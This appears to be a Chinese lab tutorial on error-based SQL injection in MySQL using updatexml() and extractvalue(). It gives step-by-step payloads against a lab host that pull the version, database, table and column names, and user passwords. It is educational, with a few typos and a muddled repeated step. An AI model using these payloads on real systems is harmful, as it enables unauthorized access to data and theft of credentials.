-
- 常见类型注入-基础实验
- 实验原理
- SQL查询函数
- MYSQL数据库结构
-
- 实验内容
- 免责声明
-
updatexml()函数
-
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
-
作用:改变文档中符合条件的节点的值
-
语法: updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称,文中为Doc
第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
第三个参数:string格式,替换查找到的符合条件的数据
-
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
-
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误
-
-
extractvalue()函数
-
此函数从目标XML中返回包含所查询值的字符串
-
语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
-
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
-
select user,password from users where user_id=1 and (extractvalue(1,0x7e));
-
由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
-
函数 含义 = > >= <= <> 比较运算符 and or version() mysql 数据库版本 database() 当前数据库名 user() 用户名 current_user() 当前用户名 system_user() 系统用户名 @@datadir 数据库路径 @@versoin_compile_os 操作系统版本 length() 返回字符串的长度 substring() 截取字符串 substr() mid() 1. 截取的字符串2. 截取起始位置,从1开始计数3. 截取长度 left() 从左侧开始取指定字符个数的字符串 concat() 没有分隔符的连接字符串 concat_ws() 含有分割符的连接字符串 group_conat() 连接一个组的字符串 ord() 返回ASCII 码 ascii() hex() 将字符串转换为十六进制 unhex() hex 的反向操作 md5() 返回MD5 值 floor(x) 返回不大于x 的最大整数 round() 返回参数x 接近的整数 rand() 返回0-1 之间的随机浮点数 load_file() 读取文件,并返回文件内容作为一个字符串 sleep() 睡眠时间为指定的秒数 if(true,t,f) if 判断 find_in_set() 返回字符串在字符串列表中的位置 benchmark() 指定语句执行的次数 name_const() 返回表作为结果MYSQL数据库结构
information_schema | +-- tables(存储数据库中的表信息) | | | `-- table_name | | | `-- table_schema | `-- columns (存储表中的列信息) | `-- column_name | `-- table_name | `-- table_schema实验内容
1.访问172.16.12.2----->报错注入字符型
输入id参数进行测试
id=1 页面回显正常 id=1' 页面报错信息回显,说明触发了报错函数
2.获取当前数据库的库名及版本信息
id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ 获取数据库版本 id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+获取数据库名称
3.获取当前数据库的表名
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+ 获得表明: emails referers uagents users
4.查询表中的列名
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)--+ emails表中列名称:id、email_id
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='uagents' limit 0,1),0x7e),1)--+ uagents表中列名称:username、uagent
4、通过对表名和limit两个变量
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='uagents' limit 0,1),0x7e),1)--+ tables_schema=emails、referers、uagents、users
5.获取内容
id=1' and updatexml(1,concat(0x7e,(select concat(username,'|',password) from users limit 1,1),0x7e),1)--+ 获取users表中的信息
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责!